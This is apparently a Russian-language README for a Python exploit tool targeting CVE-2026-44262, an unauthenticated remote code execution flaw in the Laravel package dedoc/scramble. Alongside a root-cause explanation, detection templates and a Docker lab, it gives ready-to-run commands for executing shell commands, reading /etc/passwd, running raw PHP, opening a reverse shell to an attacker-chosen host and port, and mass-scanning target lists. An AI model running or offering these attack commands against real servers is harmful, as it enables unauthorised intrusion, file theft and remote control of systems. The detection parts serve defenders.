dedoc/scramble RCE (CVE-2026-44262) PoC

📜 Описание

CVE-2026-44262 — это неаутентифицированная уязвимость удалённого выполнения кода в dedoc/scramble, генераторе документации API для Laravel.

NodeRulesEvaluator::doEvaluateExpression() вызывает extract($variables) перед eval("return $code;"). Когда контроллер присваивает $request->input() переменной с именем $code и использует её как правило валидации, Scramble отслеживает эту переменную и передаёт её в область видимости eval. Атакующий может перезаписать $code произвольным PHP-кодом, передав поддельный параметр запроса в /docs/api.json.

Затронутые версии: dedoc/scramble >=0.13.2, <0.13.22

✨ Возможности

• Автоопределение — автоматически сканирует OpenAPI-спецификацию для поиска уязвимых параметров
• Тайминг-проба — безопасная проверка без нарушения работы, использующая sleep() для подтверждения срабатывания eval
• Выполнение команд — запуск shell-команд и получение вывода непосредственно из HTTP-ответа
• Чтение файлов — чтение произвольных файлов из файловой системы цели
• Выполнение PHP-кода — выполнение «сырого» PHP-кода через RCE
• Реверс-шелл — PHP proc_open reverse shell, не требует bash или busybox
• Массовое сканирование — сканирование нескольких целей из файла
• Определение ОС — автоматическое определение Windows/Linux/Darwin и соответствующая адаптация полезных нагрузок
• Nmap NSE — скрипт пассивного и тайминг-обнаружения (http-scramble-rce-detect.nse)
• Nuclei-шаблон — двухэтапное обнаружение с подтверждением по таймингу (CVE-2026-44262.yaml)

🛠️ Установка

Без внешних зависимостей — используется только стандартная библиотека Python.

macOS / Linux

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-44262.git
cd CVE-2026-44262
python3 CVE-2026-44262.py --target http://example.com/docs/api

⚙️ Использование

usage: CVE-2026-44262.py [-h] (--target TARGET | --targets FILE) [--docs-path PATH]
                   [--check] [--command CMD] [--code PHP] [--read-file PATH]
                   [--shell] [--lhost HOST] [--lport PORT] [--os OS]
                   [--useragent USERAGENT] [--timeout SECONDS]

Обнаружение

# Полное обнаружение (тайминг + exec-проба)
python3 CVE-2026-44262.py --target http://example.com/docs/api

# Только безопасная проверка — тайминг-проба, без выполнения команд
python3 CVE-2026-44262.py --target http://example.com/docs/api --check

# Переопределение пути к JSON-эндпоинту
python3 CVE-2026-44262.py --target http://example.com/docs/api --docs-path /api/openapi.json

# Массовое сканирование
python3 CVE-2026-44262.py --targets targets.txt

Эксплуатация

# Выполнить команду
python3 CVE-2026-44262.py --target http://example.com/docs/api --command "whoami"

# Прочитать файл
python3 CVE-2026-44262.py --target http://example.com/docs/api --read-file /etc/passwd

# Выполнить «сырой» PHP
python3 CVE-2026-44262.py --target http://example.com/docs/api --code "echo php_uname();"

# Реверс-шелл (запустить: nc -lv 4444)
python3 CVE-2026-44262.py --target http://example.com/docs/api --shell --lhost 172.17.0.1 --lport 4444

Nmap и Nuclei (пассивное + тайминг-обнаружение, без эксплуатации)

# Nmap
nmap -p 80,443 --script http-scramble-rce-detect example.com

# Nuclei
nuclei -t CVE-2026-44262.yaml -u http://example.com

🐋 Docker-лаборатория

Включена автономная Docker-среда с уязвимым приложением (dedoc/scramble v0.13.21). Подробности см. в docker/DOCKER.md.

cd docker/
docker compose up -d
python3 ../CVE-2026-44262.py --target http://localhost:8000/docs/api

🕵🏼 Ссылки

• dedoc/scramble
• GitHub Advisory — GHSA-4rm2-28vj-fj39
• NVD — CVE-2026-44262
• HackIndex.io — CVE-2026-44262

📢 Отказ от ответственности

Этот инструмент предоставляется только в образовательных и исследовательских целях. Создатель не несёт ответственности за любое неправомерное использование или ущерб, причинённый данным инструментом.